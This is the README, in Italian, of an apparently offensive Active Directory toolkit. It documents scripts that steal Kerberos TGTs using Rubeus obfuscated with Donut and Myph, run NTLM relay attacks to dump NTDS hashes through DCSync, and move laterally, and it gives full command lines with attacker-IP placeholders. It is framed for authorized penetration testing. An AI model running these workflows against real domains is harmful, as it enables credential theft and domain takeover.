
Toolkit automatizzato per post-exploitation di Active Directory per estrazione di ticket Kerberos, attacchi di relay NTLM e movimento laterale tramite integrazione con NetExec, Impacket e Donut.
Questo repository contiene una raccolta di script orchestratore Python progettati per valutazioni di sicurezza e penetration testing in ambienti Active Directory. Questi strumenti sono specificamente progettati per scenari di post-sfruttamento in cui l'accesso amministrativo locale è già stato ottenuto su una workstation o server compromesso, con l'obiettivo di eseguire movimento laterale o escalation di privilegi verso il più ampio dominio Active Directory.
Automatizzando flussi di lavoro che coinvolgono utility di sicurezza comuni come NetExec, Impacket, Donut e BloodyAD, questi script semplificano processi complessi multi-step in operazioni ripetibili a comando singolo.
Gli script richiedono che i seguenti strumenti siano installati sul sistema host e disponibili nel PATH del sistema:
nxc)impacket-ntlmrelayx, impacket-secretsdump, impacket-ticketConverter)awk, base64Per una formattazione avanzata dell'output della console, installa i seguenti pacchetti:
pip install colorama rich
harpyTGT.py)Questo script automatizza l'estrazione di un Ticket Granting Ticket (TGT) Kerberos da una sessione Windows attiva e lo converte in un formato ccache compatibile con Linux.
Rubeus.exe tramite Donut, applica offuscamento usando Myph ed esegue il binario risultante sull'host target utilizzando attività pianificate (schtask_as) o mmcexec.Esecuzione Standard (l'utente target ha privilegi amministrativi):
./harpyTGT.py -t <TARGET_IP> -u <LOCAL_ADMIN_USER> -p <LOCAL_ADMIN_PASS> -U <TARGET_USER> -r </path/to/Rubeus.exe>
Esecuzione Alternativa (l'utente target non ha privilegi amministrativi):
./harpyTGT.py -t <TARGET_IP> -u <LOCAL_ADMIN_USER> -p <LOCAL_ADMIN_PASS> -U <TARGET_USER> -r </path/to/Rubeus.exe> --no-target-admin --attacker-ip <ATTACKER_IP>

harpyRelay.py)Questo script coordina attacchi relay NTLM mirati a politiche di firma SMB o LDAP malconfigurate sui Domain Controller per ottenere escalation di privilegi a livello di dominio o eseguire un dump del database NTDS (DCSync).
ntlmrelayx, triggera una richiesta di autenticazione dal client compromesso tramite NetExec, monitora l'output per lo sfruttamento riuscito e scarica gli hash del dominio. Lo strumento contiene routine di pulizia automatiche per minimizzare l'impronta nel dominio target.Flusso LDAPS (Standard):
./harpyRelay.py--target-host <CLIENT_IP> --local-user <LOCAL_ADMIN> --local-pass <LOCAL_PASS> --domain-admin-user <DOMAIN_ADMIN> --attacker-ip <ATTACKER_IP> --dc-ip <DC_IP> --domain <DOMAIN.LOCAL>
Flusso LDAP (flusso alternativo quando LDAPS non è disponibile):
./harpyRelay.py --target-host <CLIENT_IP> --local-user <LOCAL_ADMIN> --local-pass <LOCAL_PASS> --domain-admin-user <DOMAIN_ADMIN> --attacker-ip <ATTACKER_IP> --dc-ip <DC_IP> --domain <DOMAIN.LOCAL> --no-ldaps

stealTGTUn modulo personalizzato per NetExec (nxc) progettato per estrarre il Ticket Granting Ticket (TGT) Kerberos da un utente specifico connesso alla macchina target.
Il modulo interagisce tramite mmcexec come SYSTEM, automatizzando la generazione di un payload elusivo (incapsulando Rubeus con Donut e Myph), eseguendolo in memoria, catturando l'output del ticket in Base64 e convertendolo trasparentemente in un file .ccache pronto per l'uso in Linux.
Il modulo verifica automaticamente che le seguenti utility siano installate e disponibili nel tuo $PATH:
donutmyphimpacket-ticketConverterPer caricare il modulo esterno in NetExec, copia lo script stealTGT.py nella directory dei moduli NetExec locale:
cp stealTGT.py ~/.nxc/modules/
netexec smb <TARGET_IP> -u <ADMIN_USER> -p <ADMIN_PASS> --local-auth -M stealTGT -o USER=<TARGET_USER> RUBEUS=/path/to/Rubeus.exe
Opzioni del Modulo (-o):
USER: Il nome utente della sessione attualmente attiva da cui si desidera raccogliere il TGT (es., jdoe).RUBEUS: Il percorso locale sulla macchina attaccante dove si trova il binario legittimo Rubeus.exe.

bloodyad o netexec una volta concluse le operazioni.AVVISO IMPORTANTE: Questo repository è destinato esclusivamente a audit di sicurezza autorizzati, ricerca di vulnerabilità e scopi educativi. L'esecuzione di questi strumenti contro infrastrutture di produzione senza previa autorizzazione esplicita e scritta dei proprietari del sistema è severamente vietata. L'autore declina ogni responsabilità per uso improprio, danni collaterali o conseguenze legali derivanti dall'implementazione di questo software.